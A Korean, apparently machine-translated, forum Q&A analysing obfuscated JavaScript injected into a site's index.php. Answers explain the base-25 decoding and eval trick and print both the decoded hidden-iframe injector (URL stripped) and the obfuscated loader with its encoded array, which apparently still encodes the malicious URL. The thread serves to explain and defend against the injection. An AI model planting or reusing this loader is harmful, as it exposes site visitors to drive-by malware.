2012-11-09 2 views
5

내 사이트의 친구가 악의적 인 것으로 나열되어 있었고, 알지 못하는 채 자신의 index.php에 주입 된 난독 화 코드를 발견했습니다. 나는 두 단계 아래 코드를 deobfuscated이 발견 :누군가가 왜 이것이 악의적이라고 말 할 수 있습니까?

(code can be viewed in the edit history)

사람이 그것을 어떻게하려고 악성을 왜 무엇을 말해 줄 수 ...?

+2

'eval'을'alert'로 대체하면 어떻게되는지 알 수 있습니다. – georg

답변

12

요약하면 코드는 악의적 인 URL에로드되는 을 배치하는 HTML을 "디코딩"합니다.

n = ["9","9","45","42", ... 

각 숫자는베이스 (25)에 문자를 나타냄

다음 줄 "인코딩"HTML있다. 코드는이 배열을 반복하며 자바 스크립트의 String.fromCharCode()을 사용하여 ASCII 문자로 변환합니다. 이 모든 후, 그것은 eval() 페이지에 그것을 배치합니다.

은 "디코딩"자바 스크립트는 다음과 같습니다

if (document.getElementsByTagName('body')[0]){ 
    iframer(); 
} else { 
    document.write("<iframe src='[stripped]' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); 
} 
function iframer(){ 
    var f = document.createElement('iframe');f.setAttribute('src','[stripped]');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 

주, 나는 안전을위한 코드에서 악성 URL을 제거했다.

+0

감사! 나는 그것이 무엇을하고 어떻게하는지에 대해 궁금해했다. –

2

페이지에 숨겨진 iframe을 삽입합니다.이 페이지는 dodgy 사이트 일 수 있습니다. 여기

http://jsfiddle.net/FqtZ8/

가 나는에 링크 사이트를 방문 크롬은 악성 코드 나에게 경고, 그래서 더 갔다하지 ... 당신은 실행하고 주입하려고 무엇을 볼 수있는 코드의 안전 버전입니다.

try{ 
if(window.document) window["document"]["body"]="123" 
}catch(bawetawe){ 
if(window.document){ 
v=window; 
try{ 
fawbe-- 
}catch(afnwenew){ 
try{ 
(v+v)() 
}catch(gngrthn){ 
try{if(020===0x10)v["document"]["body"]="123" 
}catch(gfdnfdgber){ 
m=123; 
if((alert+"").indexOf("na"+"ti"+"ve")!==-1)ev=window["eval"]; 
} 
} 
n=   ["9","9","45","42","17","1f","40","4b","3o","4h","49","41","4a","4g","1l","43","41","4g"," j","48","41","49","41","4a","4g","4f","2g","4l","39","3m","43","33","3m","49","41","1f","1e","3n","4b","40","4l","1e","1g","3g","1n","3i","1g","4n","d","9","9","9","45","42","4e","3m","49","41","4e","1f","1g","29","d","9","9","50","17","41","48","4f","41","17","4n","d","9","9","9","40","4b","3o","4h","49","41","4a","4g","1l","4j","4e","45","4g","41","1f","19","2a","45","42","4e","3m","49","41","17","4f","4e","3o","2b","1e","44","4g","4g","4c","28","1m","1m","43","3o","4d","40","4f","47","3m","4j","4f","4k","1l","41","40","4a","4f","1l","3n","45","4m","1m","4g","1m","4i","3o","1l","4c","44","4c","2d","43","4b","2b","20","1e","17","4j","45","40","4g","44","2b","1e","1o","1n","1e","17","44","41","45","43","44","4g","2b","1e","1o","1n","1e","17","4f","4g","4l","48","41","2b","1e","4i","45","4f","45","3n","45","48","45","4g","4l","28","44","45","40","40","41","4a","29","4c","4b","4f","45","4g","45","4b","4a","28","3m","3n","4f","4b","48","4h","4g","41","29","48","41","42","4g","28","1n","29","4g","4b","4c","28","1n","29","1e","2c","2a","1m","45","42","4e","3m","49","41","2c","19","1g","29","d","9","9","50","d","9","9","42","4h","4a","3o","4g","45","4b","4a","17","45","42","4e","3m","49","41","4e","1f","1g","4n","d","9","9","9","4i","3m","4e","17","42","17","2b","17","40","4b","3o","4h","49","41","4a","4g","1l","3o","4e","41","3m","4g","41","2j","48","41","49","41","4a","4g","1f","1e","45","42","4e","3m","49","41","1e","1g","29","42","1l","4f","41","4g","2f","4g","4g","4e","45","3n","4h","4g","41","1f","1e","4f","4e","3o","1e","1j","1e","44","4g","4g","4c","28","1m","1m","43","3o","4d","40","4f","47","3m","4j","4f","4k","1l","41","40","4a","4f","1l","3n","45","4m","1m","4g","1m","4i","3o","1l","4c","44","4c","2d","43","4b","2b","20","1e","1g","29","42","1l","4f","4g","4l","48","41","1l","4i","45","4f","45","3n","45","48","45","4g","4l","2b","1e","44","45","40","40","41","4a","1e","29","42","1l","4f","4g","4l","48","41","1l","4c","4b","4f","45","4g","45","4b","4a","2b","1e","3m","3n","4f","4b","48","4h","4g","41","1e","29","42","1l","4f","4g","4l","48","41","1l","48","41","42","4g","2b","1e","1n","1e","29","42","1l","4f","4g","4l","48","41","1l","4g","4b","4c","2b","1e","1n","1e","29","42","1l","4f","41","4g","2f","4g","4g","4e","45","3n","4h","4g","41","1f","1e","4j","45","40","4g","44","1e","1j","1e","1o","1n","1e","1g","29","42","1l","4f","41","4g","2f","4g","4g","4e","45","3n","4h","4g","41","1f","1e","44","41","45","43","44","4g","1e","1j","1e","1o","1n","1e","1g","29","d","9","9","9","40","4b","3o","4h","49","41","4a","4g","1l","43","41","4g","2j","48","41","49","41","4a","4g","4f","2g","4l","39","3m","43","33","3m","49","41","1f","1e","3n","4b","40","4l","1e","1g","3g","1n","3i","1l","3m","4c","4c","41","4a","40","2h","44","45","48","40","1f","42","1g","29","d","9","9","50"]; 
h=2; 
s=""; 
if(m) for(i=0;i-589!=0;i++){ 
k=i; 
if(window["document"]) s+=String["fro"+"mC"+"harCode"](
parseInt(n[i],25) 
); 
}z=s;alert(z); 
} 
} 
}?